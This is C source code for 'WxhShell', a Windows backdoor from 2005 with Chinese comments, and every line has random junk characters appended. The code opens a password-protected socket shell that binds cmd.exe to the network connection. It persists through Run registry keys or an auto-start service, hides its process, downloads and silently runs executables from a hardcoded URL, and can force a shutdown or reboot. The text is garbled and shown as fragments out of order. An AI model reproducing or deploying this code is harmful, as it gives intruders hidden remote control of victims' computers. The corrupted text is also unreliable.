    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AIv<f9*.:  
    if(Boot(SHUTDOWN)) QoseS/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e96#2A5f  
    else { [zx|eG<&-  
    closesocket(wsh); GMe0;StT  
    ExitThread(0); X  Ny Y$  
    } 1a*6ZGk.  
    break; kC31$jMC3!  
    } 0ERsMnU'  
  // 获取shell sZwZWD'  
  case 's': { yKlU6t&` G  
    CmdShell(wsh); i7s\CY  
    closesocket(wsh); #fj[kq)&S  
    ExitThread(0); C=yD3mVz  
    break; uQ^hV%|"  
  } H0+:XF\M  
  // 退出 q0g1E Jar  
  case 'x': { eo ?Oir)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B/G3T u uG  
    CloseIt(wsh); -%i#j>  
    break; "/!'9na{QL  
    } vnZ4(  
  // 离开 |(&oI(l5K  
  case 'q': { Vmtzig3w[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 506V0]`/  
    closesocket(wsh); l1DI*0@  
    WSACleanup(); k:mlt:  
    exit(1); MX?}?"y  
    break; 5QOZ%9E&M  
        } ]!J<,f7W  
  } ki3 HcV  
  } -O%[!&`  
Z'e\_C  
  // 提示信息 cyBW0wV1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g<\>; }e  
} w?S8@|MK  
  } d EI a=e|  
#'8)u)!  
  return; # \<P]<C  
} u uSHCp  
F3 Y<ZbxT  
// shell模块句柄 {6:& %V  
int CmdShell(SOCKET sock) 3; A$<s  
{ nd;O(s;  
STARTUPINFO si; kU1 %f o  
ZeroMemory(&si,sizeof(si)); 7JS#a=D#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y qkX:jt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7PA=)a\  
PROCESS_INFORMATION ProcessInfo; "*t6t4/Q  
char cmdline[]="cmd"; A6Q c;v+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JSRg?p\  
  return 0; v4D!7 t&v"  
} 80HEAv,O  
\6i 9q=  
// 自身启动模式 jceHK l  
int StartFromService(void) pagC(F  
{ 8:<1|]]  
typedef struct W#V fX!~  
{ umryA{Ps  
  DWORD ExitStatus; f}%sO  
  DWORD PebBaseAddress; H(?e&Qkg  
  DWORD AffinityMask; O'fc/cvh='  
  DWORD BasePriority; M&OsRrq  
  ULONG UniqueProcessId; pLPd[a  
  ULONG InheritedFromUniqueProcessId; %xHu,*  
}   PROCESS_BASIC_INFORMATION; s<,"Hsh^CR  
QU,?}w'?d  
PROCNTQSIP NtQueryInformationProcess; %uW<  
R@&?i=gk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PK8V2Ttv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rd0?zEKV  
B]i+,u  
  HANDLE             hProcess; h~ZNHSP:  
  PROCESS_BASIC_INFORMATION pbi; "~Us#4>  
0OEtU5lf`y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7F~xq#Wi#  
  if(NULL == hInst ) return 0; 9c%(]Rn:  
Gy$o7|PA"{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g{]ej  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sE}sE=\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^&HI +M  
X!m;uJZp  
  if (!NtQueryInformationProcess) return 0; I'P!,Y/>  
$:P[v+Uy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u>1v~3,r#  
  if(!hProcess) return 0; (a,6a  
4@gl4&<h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >|(WS.n3C  
_4O[[~  
  CloseHandle(hProcess); ID&zY;f  
X=\x&Wt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g*^wF?t'T  
if(hProcess==NULL) return 0; uz8nRS s  
%bN"bxv^  
HMODULE hMod; ga,A'Z  
char procName[255]; #i6[4X?  
unsigned long cbNeeded; R+C+$?4NG  
JW2W>6Dgv[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N:5b1TdI,  
WI%zr2T  
  CloseHandle(hProcess); eUYG96Jw  
4U:DJ_GN  
if(strstr(procName,"services")) return 1; // 以服务启动 WtMcI>4w  
cS+?s=d  
  return 0; // 注册表启动 v#w4{.8)  
}  PVS\,  
|I4D(#w.  
// 主模块 v!iWzN  
int StartWxhshell(LPSTR lpCmdLine) ^j1Gmv)  
{ )_WH#-}  
  SOCKET wsl; sY&r bJ(P  
BOOL val=TRUE; Idt@Hk5<&  
  int port=0; zv>ZrFl*  
  struct sockaddr_in door; 54bF) <+  
Q^\{Zg)p  
  if(wscfg.ws_autoins) Install(); `;R|V  
<ihhV e  
port=atoi(lpCmdLine); ,80jMs  
3J23q  
if(port<=0) port=wscfg.ws_port; _ak.G=  
/%c+ eL}l  
  WSADATA data; <1v{[F_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'Wd3`4V$  
ikeJDKSG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @?(nwj~ s`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); + ?[ ACZF  
  door.sin_family = AF_INET; XT\Td}>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'cWlY3%t  
  door.sin_port = htons(port);  eYPt  
/2=_B4E2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f'8B[&@L  
closesocket(wsl); i+kFL$N  
return 1; "0p +SZ~D  
} V7qCbd^>XJ  
1v+JCOy  
  if(listen(wsl,2) == INVALID_SOCKET) { qQ3 ]E][/  
closesocket(wsl); g9RzzE!  
return 1; Djg 1Qh  
} |E>v~qD8I  
  Wxhshell(wsl); e-YGuWGN7  
  WSACleanup(); |s)VjS4@  
R;5QD`  
return 0; wR`w@ 5,d  
ZP]2/;h  
} 77Q4gw~2U  
.N'%hh  
// 以NT服务方式启动 5M/%%Ox  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g wZ+GA  
{ ~GsH8yA_P  
DWORD   status = 0; ZdJVs/33Vn  
  DWORD   specificError = 0xfffffff; yHV^a0e7EH  
E` :ZH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !8H!Fj`|j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TPN:cA6[c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &VtWSq-)  
  serviceStatus.dwWin32ExitCode     = 0; !07FsPI#{  
  serviceStatus.dwServiceSpecificExitCode = 0; xF\}.OfWG  
  serviceStatus.dwCheckPoint       = 0; rF <iWM=  
  serviceStatus.dwWaitHint       = 0; 6z%&A]6k:  
N?Z+zN&P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U~JG1#z6  
  if (hServiceStatusHandle==0) return; >n@>h$]  
3M`hn4)K  
status = GetLastError(); uaZ"x& oZ#  
  if (status!=NO_ERROR) ru(?a~lF8~  
{ q329z>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L~SrI{aYPf  
    serviceStatus.dwCheckPoint       = 0; FcJ.)U  
    serviceStatus.dwWaitHint       = 0; ,Yiq$Z{qQ  
    serviceStatus.dwWin32ExitCode     = status; U>3%!83kF  
    serviceStatus.dwServiceSpecificExitCode = specificError; $A5B{2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); soFvrl^Ql+  
    return; @eAGN|C5  
  } Q}k_#w  
7k[`]:*o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =]2RC1#}e  
  serviceStatus.dwCheckPoint       = 0; MfZ}xu  
  serviceStatus.dwWaitHint       = 0; ~0Q\Lp);  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :c+a-Py $E  
} pU'`9f Li_  
Zip K;!9by  
// 处理NT服务事件,比如:启动、停止 VLwJ6?.f'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ePu2t3E  
{ Y;%R/OyWY  
switch(fdwControl) ajcPt]f  
{ t6H2tP\AS  
case SERVICE_CONTROL_STOP: ^| a&%wxA  
  serviceStatus.dwWin32ExitCode = 0; _z_3%N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s`$_  
  serviceStatus.dwCheckPoint   = 0; z?IY3]v*z<  
  serviceStatus.dwWaitHint     = 0; :*w:eKk  
  { `,8R~-GPD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p0:&7,+a,  
  } 4u{E D(  
  return; eF gb6dSh  
case SERVICE_CONTROL_PAUSE: 0YsN82IDD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xoa <r9  
  break; qNuv?.7  
case SERVICE_CONTROL_CONTINUE: $O8EiC!f6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h\: tUEg#J  
  break; /hA}9+/  
case SERVICE_CONTROL_INTERROGATE: =c5 /cpZ^  
  break; Hi4@!]  
}; %l]rQjV-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `)gkkZ$)j  
} W0r5D9k  
n<"a+TTU  
// 标准应用程序主函数 ! A ydhe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EcS-tE 4%  
{ bW 79<T'+  
ko7-%+0|]  
// 获取操作系统版本 j)lM:vXR  
OsIsNt=GetOsVer(); MlcoOi!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %(wsGNd  
dA MilTo  
  // 从命令行安装 7HR%rO?'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7=M'n;!Mh  
A)`fD %+  
  // 下载执行文件 ED =BZR  
if(wscfg.ws_downexe) { L}sm R,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XH Zu>[  
  WinExec(wscfg.ws_filenam,SW_HIDE); *z  ;N  
} (w7cdqe  
'=G<)z@k  
if(!OsIsNt) { ~)\1g0  
// 如果时win9x,隐藏进程并且设置为注册表启动 -fZShOBY`  
HideProc(); OHa{!SaL  
StartWxhshell(lpCmdLine); " :nVigw&  
} ;r@R (Squ  
else bU g2Bm!y  
  if(StartFromService()) +Muia5G  
  // 以服务方式启动 y[7xK}`_  
  StartServiceCtrlDispatcher(DispatchTable); `'k's]Y  
else 5F_:[H =   
  // 普通方式启动 kod_ 1LD  
  StartWxhshell(lpCmdLine); b\uB  
/Z9`uK  
return 0; f+W[]KK*PW  
} PTV`=vtj  
7_d#XKz@  
;hJ/t/7  
V~^6 TS(  
=========================================== _$jJpy  
!E.l yz  
[8J}da}  
~Sem_U`G  
'' A[`,3  
1J%qbh  
" $R#L@iL-  
8@C|exAD`  
#include <stdio.h> gt~2Br4  
#include <string.h> `LHfAXKN  
#include <windows.h> 4sD:J-c  
#include <winsock2.h> +M%2m3.Jo  
#include <winsvc.h> !v;_@iW3e  
#include <urlmon.h> +H^V},dBp!  
qFsg&<  
#pragma comment (lib, "Ws2_32.lib") o4 OEA)k)=  
#pragma comment (lib, "urlmon.lib") Y Z2VP  
j!8+|eA kk  
#define MAX_USER   100 // 最大客户端连接数 {,mRMDEy  
#define BUF_SOCK   200 // sock buffer v}*u[GWl]  
#define KEY_BUFF   255 // 输入 buffer w!9WCl]9M  
"l;8 O2;g  
#define REBOOT     0   // 重启 xTawG?"D  
#define SHUTDOWN   1   // 关机 >yHnz?bf@  
!?-5 hh1\  
#define DEF_PORT   5000 // 监听端口 r#Oz0=0u  
DO,&Foh\  
#define REG_LEN     16   // 注册表键长度 S/:QVs  
#define SVC_LEN     80   // NT服务名长度 e ~,'|~ C5  
 eJ\j{-  
// 从dll定义API `j"G=%e3.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 59J$SE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); umn~hb5O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )PATz #  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kxaz^$5Y$  
-/{}^ QWB  
// wxhshell配置信息 U\GZ  
struct WSCFG { V4i%|vV  
  int ws_port;         // 监听端口 N S}`(N  
  char ws_passstr[REG_LEN]; // 口令 G(3la3\(  
  int ws_autoins;       // 安装标记, 1=yes 0=no E&tmWOMj>  
  char ws_regname[REG_LEN]; // 注册表键名 DWxh{h">  
  char ws_svcname[REG_LEN]; // 服务名 } K-[/;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pP oC61F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]M"'qC3g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Lj1 @yokB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '9Odw@tp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .`#R%4Xl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `-YSFQ~O,  
DN{G$$or  
}; x{o5Ha{  
[jn;| 3  
// default Wxhshell configuration *K^O oS  
struct WSCFG wscfg={DEF_PORT, f0bV]<_9  
    "xuhuanlingzhe", 1e| M6*  
    1, O!+5As  
    "Wxhshell", * CGdfdxW  
    "Wxhshell", x#VUEu]8  
            "WxhShell Service", :%oj'm44!  
    "Wrsky Windows CmdShell Service", VIdoT2  
    "Please Input Your Password: ", &bgi0)>  
  1, 'n#S6.Y:  
  "http://www.wrsky.com/wxhshell.exe", 5VoiDM=\c  
  "Wxhshell.exe" % x;!s=U  
    }; G")EE#W$}  
5&Kn #  
// 消息定义模块 ho$%7mc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G QBN-Qv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V/%;:u l.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ryLNMh  
char *msg_ws_ext="\n\rExit."; g'7hc~=  
char *msg_ws_end="\n\rQuit."; { 4{{;   
char *msg_ws_boot="\n\rReboot..."; O!Cu.9}  
char *msg_ws_poff="\n\rShutdown..."; (,y/nc=GN  
char *msg_ws_down="\n\rSave to "; xTJ5VgG  
?^ 5*[H  
char *msg_ws_err="\n\rErr!"; s hvcc  
char *msg_ws_ok="\n\rOK!"; <&Xq`i/(  
R*C+Yk)Tkt  
char ExeFile[MAX_PATH]; Dx)XC?'xO  
int nUser = 0; / {~h?P}  
HANDLE handles[MAX_USER]; lc#zS_  
int OsIsNt;  P;/wb /  
*uM*)6O 3  
SERVICE_STATUS       serviceStatus; b u9&sQ;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wcT6d?*5  
fG5}'8  
// 函数声明 o^6j(~  
int Install(void); X6 :~Rjim*  
int Uninstall(void); MCG~{#`  
int DownloadFile(char *sURL, SOCKET wsh); Q kpmPQK  
int Boot(int flag); @23x;x  
void HideProc(void); i_ TdI  
int GetOsVer(void); [i#Gqx>'w  
int Wxhshell(SOCKET wsl); 8QBL:7<  
void TalkWithClient(void *cs); M oHvXp;X  
int CmdShell(SOCKET sock); DK%eFCo<~  
int StartFromService(void); |%;txD  
int StartWxhshell(LPSTR lpCmdLine); X;>} ;LiK  
X6 cb#s0|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b<7 qmg3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3<V!y&a  
P9wDTZ :4  
// 数据结构和表定义 nQmYeM  
SERVICE_TABLE_ENTRY DispatchTable[] = 83*k.]S`  
{ ^uzVz1%mM  
{wscfg.ws_svcname, NTServiceMain}, LdUpVO8)l  
{NULL, NULL} 1zW6Pb  
}; 3s`3}DKK  
/=}vP ey  
// 自我安装 VNXVuM )c  
int Install(void) nP31jm+A  
{ j-|0&X1C  
  char svExeFile[MAX_PATH]; l/NK.Jr  
  HKEY key; XS/TYdXB8  
  strcpy(svExeFile,ExeFile); s$6#3%h  
ZW%`G@d"H-  
// 如果是win9x系统,修改注册表设为自启动 "ukbqdKD  
if(!OsIsNt) { D*,H%xA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J< M;vB)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o-= lHtR  
  RegCloseKey(key); B35f 5m7r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $g;xw?~#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "FS.&&1(  
  RegCloseKey(key); L9)&9 /f  
  return 0; it vdzPO  
    } a| cD{d  
  } >YhqL62!a  
} .#|pje^  
else { wv-8\)oA  
UkV] F]  
// 如果是NT以上系统,安装为系统服务 `<d>C}9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v%[mt` I  
if (schSCManager!=0) Q2=~  
{ D IN PAyY  
  SC_HANDLE schService = CreateService [K- s\  
  ( XU7bWafy  
  schSCManager, >m!.l{*j>N  
  wscfg.ws_svcname, zPYa@0I  
  wscfg.ws_svcdisp, ?2;G_P+  
  SERVICE_ALL_ACCESS, )I4tl/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %-CC_R|0$  
  SERVICE_AUTO_START, a06DeRCej  
  SERVICE_ERROR_NORMAL, oMbCljUC  
  svExeFile, rg~CF<  
  NULL, Xv:IbM> Qc  
  NULL, [4e5(!e  
  NULL, 8 Hn{CJ~'  
  NULL, Q<pM tW  
  NULL k~ue^^r}  
  ); %?jf.p*kY  
  if (schService!=0) kz^G.5n   
  { rge/jE,^~Z  
  CloseServiceHandle(schService); %*nZ,r  
  CloseServiceHandle(schSCManager); y]_DW6W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p'*UM%@SIY  
  strcat(svExeFile,wscfg.ws_svcname); 9iE66N>z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :83" t-O8[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r "R\  
  RegCloseKey(key); E.9F~&DPJ<  
  return 0; 8^lXM-G-  
    } X c^~|%+  
  } 8h97~$7)  
  CloseServiceHandle(schSCManager); Jk*MxlA.b  
} 9':$!Eoq  
} T2{+fR v N  
KX`,7-  
return 1; e j9G[  
} |.A>0-']M  
?H&p zY~H  
// 自我卸载 `O/)q^m1L  
int Uninstall(void) L/I-(08!Y:  
{ 0bE_iu>f'  
  HKEY key; _f`m/l  
KJiwM(o  
if(!OsIsNt) { YaU A}0cW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6_Kz}PQ  
  RegDeleteValue(key,wscfg.ws_regname); q}jf&xUWzH  
  RegCloseKey(key); $((<le5-)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZE^de(Fm  
  RegDeleteValue(key,wscfg.ws_regname); 6D],275`J  
  RegCloseKey(key); $m>e!P>%u  
  return 0; v|GvN|_|  
  } K^bn4Nr  
} ,o)MiR9-[A  
} ,n*.Yq  
else { 5kF5`5+Vj  
_*9Zp1r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d:D2[  
if (schSCManager!=0) 1;W>ceN"  
{ DKZ69^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ARE~jzakg  
  if (schService!=0) 4]bT O  
  {  oa|0=  
  if(DeleteService(schService)!=0) { L*z;-,  
  CloseServiceHandle(schService); hk I$ow(  
  CloseServiceHandle(schSCManager); |j,Mof  
  return 0; RC 48e._t  
  } G\Me%{b#  
  CloseServiceHandle(schService); S%@$J~\rx  
  } IQDWH/ c  
  CloseServiceHandle(schSCManager); ezn>3?S  
} Ut+mm\7  
} bA)Xjq)Rr  
^?2txLv,6  
return 1; [3.rG!Na  
} HIF] c  
Aq"_hjp  
// 从指定url下载文件 Ssj'1[%  
int DownloadFile(char *sURL, SOCKET wsh) 89paR[  
{ 4v>V7T.  
  HRESULT hr; =BtEduz  
char seps[]= "/"; ew(6;}+^/  
char *token; F,sT[C  
char *file; _W;u Qg']  
char myURL[MAX_PATH]; aqB^  %e  
char myFILE[MAX_PATH]; 0e7!_ /9  
YblRwic  
strcpy(myURL,sURL); Y%faf.$/9  
  token=strtok(myURL,seps); TDoYp  
  while(token!=NULL) GYYro&aq{  
  { &l Q j?]  
    file=token; L8W3Tpi&(  
  token=strtok(NULL,seps); `G'V9Xs(  
  } P}5aN_v \  
*%O1d.,  
GetCurrentDirectory(MAX_PATH,myFILE); _5zR!|\^  
strcat(myFILE, "\\"); -K j CPc  
strcat(myFILE, file); 9hv\%_>o  
  send(wsh,myFILE,strlen(myFILE),0); ty78)XI  
send(wsh,"...",3,0); h2q]!01XP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,'!&Z *  
  if(hr==S_OK) `# R$  
return 0; r#XDgZtI  
else /$n${M5!  
return 1; 1Jahu!c?  
8.,PgS  
} SBEJ@&iB~  
nXN0~,+  
// 系统电源模块 eYagI  
int Boot(int flag) I$Z"o9"  
{ +|.#<]GA  
  HANDLE hToken; {b?)|@)is  
  TOKEN_PRIVILEGES tkp; F JzjS;  
-l\@50, D  
  if(OsIsNt) { zm e:U![  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,Xn%-OT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B0Z@ Cf  
    tkp.PrivilegeCount = 1; Qu\E/T`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \R<yja  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j.z#fU  
if(flag==REBOOT) { /90@ 85%r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  &]euN~y  
  return 0; WV8<gx`Q  
} @ +7'0[y?  
else {  u(BYRB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~7ArH9k .  
  return 0; xH=&={  
} >$?Z&7Lv  
  } L+,{*Uj[;  
  else { WMg#pLc#  
if(flag==REBOOT) { R+m{nO~r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {>z.y1  
  return 0; PXkPC%j  
} Xbz}pAnj  
else { F :u}7t>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sK\?i3<?  
  return 0; _])1P?.  
} 3oSQe"  
} 9orza<#  
PC9:nee  
return 1; $Ec;w~e  
} dWp4|r  
9Dpmp|  
// win9x进程隐藏模块 Rn}+l[]jC  
void HideProc(void) t*DM^. @  
{ F/!C=nS  
v7ae^iU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s8tI_h  
  if ( hKernel != NULL ) sST6_b  
  { y,%w`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TWn7&,N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V{"5)Ly?fu  
    FreeLibrary(hKernel); ^|8cS0dK]Q  
  } A.y$.(  
3Mdg&~85  
return; Y)uNzb6R  
} 3*FktXmI}  
1D*e u  
// 获取操作系统版本 , vky  
int GetOsVer(void) [X-Q{c4  
{ "aP/214Ul  
  OSVERSIONINFO winfo; -Wmpj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vj#gY2qZ  
  GetVersionEx(&winfo); 4 Hu+ljdjB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jReI+ pS  
  return 1; (Q @m;i>  
  else o]]Q7S=  
  return 0; 4TLh'?Xu9  
} i}q6^;uTF  
,@P3!|  
// 客户端句柄模块 ] 03!K E  
int Wxhshell(SOCKET wsl) >_5D`^  
{ _ p?q/-[4  
  SOCKET wsh; { }>"f]3  
  struct sockaddr_in client; sx/g5 ?zh  
  DWORD myID; 72PDqK#  
*fjarZu  
  while(nUser<MAX_USER) xd>2TW l#  
{ 's e 9|:  
  int nSize=sizeof(client); cd:O@)i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AD8~  
  if(wsh==INVALID_SOCKET) return 1; Y &#<{j':  
g'mkhF(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lRO4- y  
if(handles[nUser]==0) YKk%lZ.8  
  closesocket(wsh); js>6Du  
else d 5Il0sG  
  nUser++;  fBQZ=zh  
  } au GN~"n^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); / {A]('t  
-8EdTc@  
  return 0; 4ba1c  
} D,X$66T ^  
l]%|w]i\  
// 关闭 socket //WgK{Mt  
void CloseIt(SOCKET wsh) |o+vpy  
{ B$7lL  
closesocket(wsh); <1hwXo  
nUser--; KKOu":b  
ExitThread(0); ZI5UQH/  
} U_14CLs dG  
atPf527\`  
// 客户端请求句柄 u52@{@Ad  
void TalkWithClient(void *cs) bjR&bIA:  
{ ^goS? p/z  
@m(\f  
  SOCKET wsh=(SOCKET)cs; Ron^PvvY&  
  char pwd[SVC_LEN]; F9d][ P@@  
  char cmd[KEY_BUFF]; IQH;`+  
char chr[1]; fA|'}(kH  
int i,j; ^P]: etld9  
EK#w: "  
  while (nUser < MAX_USER) { FL`. (,  
RRV&!<l@$  
if(wscfg.ws_passstr) { ;E*ozKpm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J,E&Uz95%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FCI38?`%  
  //ZeroMemory(pwd,KEY_BUFF); U:`rNHl  
      i=0; >;HXH^q  
  while(i<SVC_LEN) { (/uL6W d0  
%,>,J`  
  // 设置超时 |FKo}>4  
  fd_set FdRead; v}iJ :'  
  struct timeval TimeOut; /Fk0j_b  
  FD_ZERO(&FdRead); =r GkM.^  
  FD_SET(wsh,&FdRead); YXBS!89m  
  TimeOut.tv_sec=8; |px4a"  
  TimeOut.tv_usec=0; G"J6X e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I2zSoQ1P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jq.26I=  
{Q4=GrS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J,IOp-  
  pwd=chr[0]; IMVoNKW-  
  if(chr[0]==0xd || chr[0]==0xa) { ^\x PF5  
  pwd=0; C8(sH@  
  break; mTcLocx  
  } y*zZ }>  
  i++; <KJ18/  
    } Wmp\J3  
1AhL-Lj  
  // 如果是非法用户,关闭 socket EQ7cK63  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OD*DHC2rN]  
} Z5NuLB'  
W[YcYa_tQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gzw[^d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !WDdq_n*v  
%d*}:295  
while(1) { x %$Z/  
+K+ == mO&  
  ZeroMemory(cmd,KEY_BUFF); B{zIW'Ld  
G-rN?R.  
      // 自动支持客户端 telnet标准   )m6=_q5@o  
  j=0; GZO,]%z  
  while(j<KEY_BUFF) { )TXn7{M:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x!G\-2#  
  cmd[j]=chr[0]; #+r-$N.7  
  if(chr[0]==0xa || chr[0]==0xd) { GhQ.}@*  
  cmd[j]=0; k 9s3@S  
  break; Xst&QKU  
  } 4CNK ]2  
  j++; .p0;y3so4  
    } 7O"T `>  
bEPXNN  
  // 下载文件 W+Iln`L  
  if(strstr(cmd,"http://")) { R$PiF1ffj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $|A vT;4  
  if(DownloadFile(cmd,wsh)) Ih"f98lV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =niU6Q}  
  else D b(a;o   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8whjPn0  
  } SUx\qz)  
  else { FUMAvVQ  
viKN:n! Ev  
